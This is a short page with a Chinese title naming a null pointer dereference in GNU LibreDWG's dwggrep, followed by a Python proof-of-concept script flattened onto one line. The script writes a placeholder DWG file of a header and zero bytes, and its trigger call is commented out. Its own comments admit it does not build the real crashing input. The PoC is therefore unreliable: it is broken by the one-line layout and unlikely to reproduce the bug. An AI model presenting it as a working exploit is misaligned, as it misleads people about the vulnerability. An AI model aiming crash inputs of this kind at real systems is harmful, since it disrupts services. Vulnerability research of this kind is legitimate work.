CVE-2026-9529 GNU LibreDWG 空指针解引用漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-9529: Null Pointer Dereference in GNU LibreDWG Dwggrep # This script generates a malformed DWG file to trigger the crash in match_BLOCK_HEADER. import struct import os def create_malformed_dwg(filename): # Minimal DWG header structure (simplified for PoC) # A real exploit would craft the specific section that triggers the null pointer # in the match_BLOCK_HEADER function within dwggrep.c header = b"AC10" # Version string placeholder # Fill with zeros or specific pattern to reach the vulnerable parsing logic junk = b"\x00" * 0x100 with open(filename, "wb") as f: f.write(header + junk) print(f"[+] Malformed DWG file created: {filename}") def trigger_vulnerability(filepath): print(f"[*] Attempting to trigger vulnerability using dwggrep on {filepath}...") # In a real scenario, this would call the vulnerable binary # os.system(f"dwggrep '{filepath}'") print("[!] If vulnerable, the application will crash due to Null Pointer Dereference.") if __name__ == "__main__": poc_file = "crash_test.dwg" create_malformed_dwg(poc_file) trigger_vulnerability(poc_file)